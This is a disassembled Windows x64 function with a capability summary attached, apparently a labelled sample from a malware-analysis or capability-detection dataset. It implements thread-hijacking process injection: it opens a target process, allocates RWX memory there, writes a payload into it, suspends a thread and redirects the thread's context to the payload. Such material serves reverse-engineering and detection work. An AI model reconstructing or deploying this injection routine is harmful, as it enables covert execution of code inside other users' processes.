Function at 0x1400112d5
Capabilities:
Allocate or change rwx memory
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
jmp 0x140012830
push rbp
push rsi
push rdi
sub rsp, 0xff0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2d0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f448]
xor rax, rbp
mov qword [rbp + 0xfb8], rax
lea rcx, [0x140027015]
call fcn.140011401
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x1c
rep stosb byte [rdi], al
mov qword [rbp + 0xa8], 0
mov dword [rbp + 0xc4], 0
mov qword [rbp + 0xe8], 0
lea rax, [rbp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
lea rax, [rbp + 0x600]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0xae4], 0
mov dword [rbp + 0xb04], 0x19cc
mov r8d, dword [rbp + 0xb04]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140012921
lea rcx, str.OpenProcess_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x400
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001295f
lea rcx, str.VirtualAllocEx_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
mov dword [rbp + 0xb24], 0x400
mov eax, dword [rbp + 0xb24]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, section..data
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400129ac
lea rcx, [0x14001c0b0]
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
mov dword [rbp + 0x68], 0x1c
xor edx, edx
mov ecx, 4
call fcn.1400111e5
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0xffffffffffffffff
jne 0x1400129e3
lea rcx, str.CreateToolhelp32Snapshot_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0xa8]
call fcn.14001128f
test eax, eax
je 0x140012a21
mov eax, dword [rbp + 0x74]
cmp dword [rbp + 0xb04], eax
jne 0x140012a0d
mov eax, dword [rbp + 0x70]
mov dword [rbp + 0xc4], eax
jmp 0x140012a21
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0xa8]
call fcn.140011087
test eax, eax
jne 0x1400129f7
mov r8d, dword [rbp + 0xc4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xe8], rax
cmp qword [sym.imp.KERNEL32.dll_OpenThread], 0
jne 0x140012a59
lea rcx, str.OpenThread_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x140012a82
lea rcx, str.SuspendThread_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
mov dword [rbp + 0x140], 0x10000b
lea rdx, [rbp + 0x110]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140012abc
lea rcx, str.GetThreadContext_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
lea rax, [rbp + 0x600]
lea rcx, [rbp + 0x110]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4d0
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x6f8], rax
mov eax, dword [rbp + 0x6f8]
mov dword [rbp + 0xae4], eax
lea rdx, [rbp + 0x600]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140012b1b
lea rcx, str.SetThreadContext_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x140012b41
lea rcx, str.ResumeThread_
call fcn.1400111db
xor eax, eax
jmp 0x140012b47
jmp 0x140012b45
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001c000]
call fcn.140011384
mov rax, rdi
mov rcx, qword [rbp + 0xfb8]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0xfc0]
pop rdi
pop rsi
pop rbp
ret